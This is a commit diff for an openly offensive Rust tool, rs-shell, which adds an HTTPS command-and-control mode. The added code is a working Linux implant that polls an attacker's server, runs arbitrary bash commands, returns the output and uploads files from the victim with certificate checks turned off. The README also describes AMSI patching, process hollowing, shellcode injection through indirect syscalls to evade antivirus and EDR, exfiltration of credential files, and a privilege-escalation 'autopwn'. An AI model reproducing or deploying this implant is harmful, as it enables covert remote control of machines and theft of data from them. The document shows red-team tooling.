Version 0.2.0 : HTTPS infrastructure

Author: BlWasp

.gitignore

@@ -15,5 +15,12 @@ output_*/
 *.raw
 *.bin
 
-# TLS certificate
-certificat.pfx
+# TLS certificates
+certificat.pfx
+cert.pem
+key.pem
+
+# Test files
+next_task.txt
+output.txt
+os.txt

Cargo.toml

@@ -1,6 +1,6 @@
 [package]
 name = "rs-shell"
-version = "0.1.6"
+version = "0.2.0"
 edition = "2021"
 
 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -16,6 +16,15 @@ ctrlc = "3.4.1"
 clap = { version = "4.4.11", features = ["derive"] }
 ntapi = "0.4.1"
 winapi = "0.3.9"
+time = "0.3.36"
+
+actix-web = { version = "4.9.0", features = ["rustls-0_22"] }
+rustls = "0.22.4"
+rustls-pemfile = "2.1.3"
+actix-files = "0.6.6"
+actix-multipart = "0.7.2"
+
+reqwest = { version = "0.12.7", features = ["blocking", "rustls-tls", "multipart"] }
 
 [dependencies.windows-sys]
 version = "0.52.0"
@@ -28,7 +37,9 @@ features = [
     "Win32_System_Diagnostics_ToolHelp",
     "Win32_System_LibraryLoader",
     "Win32_System_Kernel",
-    "Wdk_System_Threading"
+    "Wdk_System_Threading",
+    "Win32_Networking_WinInet",
+    "Win32_Networking_WinHttp"
 ]
 
 [target.'cfg(target_os = "windows")'.dependencies]

README.md

@@ -11,11 +11,21 @@
 
 ## Description
 
-RS-Shell is a TLS over TCP reverse shell developped in Rust with client and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
+RS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
 
-Client and server are both cross-platform and work on Windows and Linux systems.
+RS-Shell implements two modes: **TLS over TCP** and **HTTPS**.
 
-For Windows client, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
+* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the *attacker*'s machine
+* HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:
+    * The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/)
+    * The implant is executed on the target machine and will request the server for "new tasks" every 2 seconds (by default, can be changed in the code for the moment)
+    * The client is executed on the *attacker* machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant
+
+Windows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail).
+
+Client, implant and server are all cross-platform and work on Windows and Linux systems.
+
+For Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
 
 For this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI.
 
@@ -26,10 +36,11 @@ The project is thought in module. This means that you can easily add or remove f
 For the moment, the following features are present:
 
 * Semi-interactive reverse shell via TLS over TCP
-* File upload and download between server and client
-* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls
+* Semi-interactive reverse shell via HTTPS with a *C2 like infrastructure*, and a proxy aware Windows implant
+* File upload and download
+* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (**only in TCP mode**)
 * Loading features :
-  * Load and execute a PE in the client memory, **with or without indirect syscalls**
+  * Load and execute a PE in the implant memory, **with or without indirect syscalls**
   * Load and execute a PE in a remote process memory, **with or without indirect syscalls**
   * Load and execute a shellcode in a remote process memory, **with or without indirect syscalls**
 * Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in `tcpdump`
@@ -40,17 +51,29 @@ To perform the indirect syscalls, I use the incredible [rust-mordor-rs](https://
 
 ### Setup
 
-I have set a `dummy` domain for hostname validation in the `connect()` function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
-
 By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.
 
-A new self-signed TLS certificate can be obtained like this :
+#### TCP setup
+
+I have set a `dummy` domain for hostname validation in the `connect()` function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
+
+A new self-signed PKCS12 TLS certificate can be obtained like this:
 
 ```bash
 openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer
 openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
 ```
 
+#### HTTPS setup
+
+Similarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.
+
+Rustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:
+
+```bash
+openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'
+```
+
 ### Compilation
 
 The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.
@@ -72,23 +95,33 @@ Should run on all Windows and Linux versions (I have hope).
 ### Usage
 
 ```plain
-Usage: rs-shell.exe [OPTIONS] --side <side> --ip <ip> --port <port>
+Usage: rs-shell.exe [OPTIONS] --mode <mode> --side <side> --ip <ip>
 
 Options:
-  -s, --side <side>            launch the client or the listener [possible values: c, l]
-  -i, --ip <ip>                IP address to bind to for the listener, or to connect to for the clien
-  -p, --port <port>            port address to bind to for the listener, or to connect to for the client
-      --cert-path <cert_path>  path of the TLS certificate (in PFX or PKCS12 format) for the server
-      --cert-pass <cert_pass>  password of the TLS certificate for the server
+  -m, --mode <mode>            communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]
+  -s, --side <side>            launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]
+  -i, --ip <ip>                IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants
+  -p, --port <port>            port address to bind to for the TCP listener, or to connect to for the implant
+      --cert-path <cert_path>  path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS
+      --cert-pass <cert_pass>  password of the TLS PKCS12 certificate for the TCP server
+      --key-path <key_path>    path of the TLS key for the HTTPS server
   -h, --help                   Print help
   -V, --version                Print version
-
-In a session, type 'help' for advanced integrated commands
 ```
 
-To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
+#### TCP usage
+
+To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
+
+Then, on the target machine launch the implant to connect back to your server with `rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
+
+#### HTTPS usage
+
+First, launch the binary in server mode on a server that can be reached by both the implant and the client: `rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path`. For example `rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\cert.pem --key-path .\key.pem`.
+
+Then, execute the implant on the target machine with `rs-shell.exe -m https -s i -i IP_to_connect_to`. For example `rs-shell.exe -m https -s i -i 192.168.1.40`.
 
-Then, on the target machine launch the client to connect back to your server with `rs-shell.exe -s c -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
+Finally, run the client on your machine to connect to the server and start to interact with the implant with `rs-shell.exe -m https -s c -i IP_to_connect_to`. For example `rs-shell.exe -m https -s c -i 192.168.1.40`.
 
 ### Advanced commands
 
@@ -129,19 +162,19 @@ Then, on the target machine launch the client to connect back to your server wit
 
 The `load` commands permit to load and execute directly in memory:
 
-* `load` loads and execute a PE in the client memory. This will kill the reverse shell, but that could be usefull to launch a C2 implant in the current process for example
+* `load` loads and execute a PE in the client memory. **This will kill the reverse shell**, but that could be usefull to launch a C2 implant in the current process for example
 * `load -h` loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR
-* `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target via the TCP tunnel
+* `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk
 
 For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe`. This will start a `cmd.exe` process with hollowing, load a `calc.exe` image in the process memory, and then resume the thread to execute the calc.
 
-On the other hand, the `syscalls` commands permit the same things, but everything is performed with indirect syscalls.
+On the other hand, the `syscalls` commands permit the same things, but everything is performed with *indirect syscalls*.
 
-`powpow` starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
+`powpow` (**only available in TCP mode**) starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
 
-`download` permits to download a file from the client to the machine where the listener is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`.
+`download` permits to download a file from the client to the machine where the server is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`. In HTTPS mode it is just `download C:\Users\Administrator\Desktop\creds.txt`, and the file will be downloaded in the `downloads` directory  on the server.
 
-`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`.
+`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`. In HTTPS mode it is just `upload ./pwn.exe`, and the file will be uploaded in the directory where the implant has been written.
 
 `autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.
 
@@ -150,7 +183,7 @@ On the other hand, the `syscalls` commands permit the same things, but everythin
 - [x] Move all the Win32API related commands to the NTAPI with indirect syscalls
 - [ ] Implement other injection techniques
 - [ ] Implement a port forwarding solution
-- [ ] Find a way to create a fully proxy aware client
+- [x] Find a way to create a fully proxy aware client
 - [ ] Implement a reverse socks proxy feature
 
 ## Disclaimers
@@ -166,4 +199,5 @@ Usage of anything presented in this repo to attack targets without prior mutual
 * Multiple projects by [memN0ps](https://github.com/memN0ps)
 * [RustPacker](https://github.com/Nariod/RustPacker) by [Nariod](https://github.com/Nariod)
 * Nik Brendler's blog posts about pipe communication between process in Rust. [Part 1](https://www.nikbrendler.com/rust-process-communication/) and [Part 2](https://www.nikbrendler.com/rust-process-communication-part-2/)
-* [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust
+* [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust
+* [Actix](https://actix.rs/) web framework

src/https/https_linux_implant.rs

@@ -0,0 +1,120 @@
+use reqwest::{blocking::multipart, blocking::Client};
+use std::fs::File;
+use std::io::Write;
+use std::{error::Error, path::Path, process::Command};
+use std::{thread, time};
+
+fn do_stuff(cmd: &str) -> Vec<u8> {
+    let exec = Command::new("/bin/bash")
+        .args(["-c", cmd.trim_end_matches("\r\n")])
+        .output()
+        .unwrap();
+
+    let stdo = exec.stdout.as_slice();
+    let _stdr = exec.stderr.as_slice();
+
+    if _stdr.is_empty() {
+        stdo.to_vec()
+    } else {
+        _stdr.to_vec()
+    }
+}
+
+pub fn implant(ip: &str) -> Result<(), Box<dyn Error>> {
+    // HTTPS implant without certificate verification
+    let client = Client::builder()
+        .danger_accept_invalid_certs(true)
+        .build()?;
+
+    let mut url = format!("https://{}/rs-shell/index", ip);
+    // Connect to the server and get the banner
+    let mut response = client.get(url).send()?;
+    if response.status().is_success() {
+        log::debug!("Session initialized");
+
+        let os = std::env::consts::FAMILY;
+        url = format!("https://{}/rs-shell/os", ip);
+        response = client.post(url).body(os).send()?;
+        if response.status().is_success() {
+            log::debug!("OS send");
+        } else {
+            log::debug!("HTTP error: {}", response.status());
+        }
+
+        loop {
+            // Get the next task
+            url = format!("https://{}/rs-shell/next_task", ip);
+            response = client.get(url).send()?;
+            if response.status().is_success() {
+                let res = response.text()?.to_string();
+                log::debug!("Task: {}", res);
+                let (cmd, value) = match res.split_once(':') {
+                    Some((cmd, value)) => (cmd, value),
+                    None => (res.as_str(), ""),
+                };
+
+                match cmd {
+                    "cmd" => {
+                        let res_cmd = do_stuff(value);
+                        log::debug!("{}", String::from_utf8_lossy(&res_cmd));
+                        url = format!("https://{}/rs-shell/output_imp", ip);
+                        response = client.post(url).body(res_cmd).send()?;
+                        if response.status().is_success() {
+                            log::debug!("Command executed");
+                        } else {
+                            log::debug!("HTTP error: {}", response.status());
+                        }
+                    }
+                    "upload" => {
+                        let url = format!("https://{}/rs-shell/upload{}", ip, value);
+                        let response = client.get(url).send()?;
+                        if response.status().is_success() {
+                            let path = Path::new(value.trim());
+                            File::create(path.file_name().unwrap().to_str().unwrap())
+                                .unwrap()
+                                .write_all(response.bytes().unwrap().to_vec().as_slice())?;
+                            log::debug!("Uploaded file into ./");
+                        } else {
+                            log::debug!("HTTP error uploading file: {}", response.status());
+                        }
+                    }
+                    "download" => {
+                        let url = format!("https://{}/", ip);
+                        match multipart::Form::new().file("file", value.trim_end_matches("\n")) {
+                            Ok(form) => {
+                                response = client.post(url).multipart(form).send()?;
+                                if response.status().is_success() {
+                                    log::debug!("Downloaded file: {}", value);
+                                } else {
+                                    log::debug!(
+                                        "HTTP error downloading file: {}",
+                                        response.status()
+                                    );
+                                }
+                            }
+                            Err(e) => log::debug!("Error: {}", e),
+                        }
+                    }
+                    "No task" => {
+                        log::debug!("No task");
+                    }
+                    "exit" | "quit" => {
+                        log::debug!("Exiting...");
+                        break;
+                    }
+                    _ => log::debug!("Unknown command"),
+                }
+            } else {
+                log::debug!("Error obtaining new task: {}", response.status());
+                continue;
+            }
+            // For the moment the implant sleeps 3 seconds between each request, could be interesting to randomize this value
+            // Or setup an option to change it via the CLI
+            thread::sleep(time::Duration::from_secs(2));
+        }
+    } else {
+        log::debug!("RS-Shell server cannot be reached: {}", response.status());
+    }
+
+    Ok(())
+}